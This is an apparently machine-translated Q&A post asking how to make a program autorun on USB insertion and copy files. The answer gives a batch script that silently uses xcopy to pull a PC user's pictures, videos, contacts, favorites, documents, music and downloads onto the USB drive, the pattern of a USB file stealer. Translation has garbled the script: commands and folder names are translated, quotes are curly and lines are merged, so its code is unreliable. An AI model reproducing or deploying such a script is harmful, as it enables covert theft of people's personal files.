有人会如何编写一个程序,当插入 USB 时,它会自动运行,查找文件名并将其复制到 USB 上?我尝试过几次,成功程度各不相同,但从未成功过。
答案1
您可以创建一个自动运行文件,其中包含此代码,用于从 PC 复制文件。
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
因此,如果您将引号中的两个代码互换,它将从 USB 复制文件。就像这样。
%backupcmd% "%drive%\all\My pics" "%USERPROFILE%\pictures"
或者你可以尝试:
@echo on ::变量 SET odrive=%odrive:~0,2% 设置 backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites" %backupcmd% "%USERPROFILE%\Desktop*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop*.jpeg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\桌面*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\桌面*.wmv" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\联系人" "%drive%\backup\contacts" %backupcmd% "%USERPROFILE%\链接" "%drive%\backup\links" %backupcmd% "%USERPROFILE%\我的文档\我的音乐" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\我的文档\下载" "%drive%\backup\downloads" %backupcmd% "%USERPROFILE%\我的音乐" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\我的文档*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\我的文档*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\我的文档*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\我的文档*.mpg" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\我的文档*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\我的文档*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\我的图片" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\视频" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\音乐" "%drive%\backup\mp3" %backupcmd% “%USERPROFILE%\下载” “%drive%\backup\下载” %backupcmd%“D:.jpg“ “%drive%\backup\img”%backupcmd%“D:.jpeg“ “%drive%\backup\img”%backupcmd%“D:.bmp“ “%drive%\backup\img”%backupcmd%“D:.3gp“ “%drive%\backup\vid”%backupcmd%“D:.mp4“ “%drive%\backup\vid”%backupcmd%“D:.avi“ “%drive%\backup\vid”%backupcmd%“D:*。wmv” “%drive%\backup\vid”@echo on cls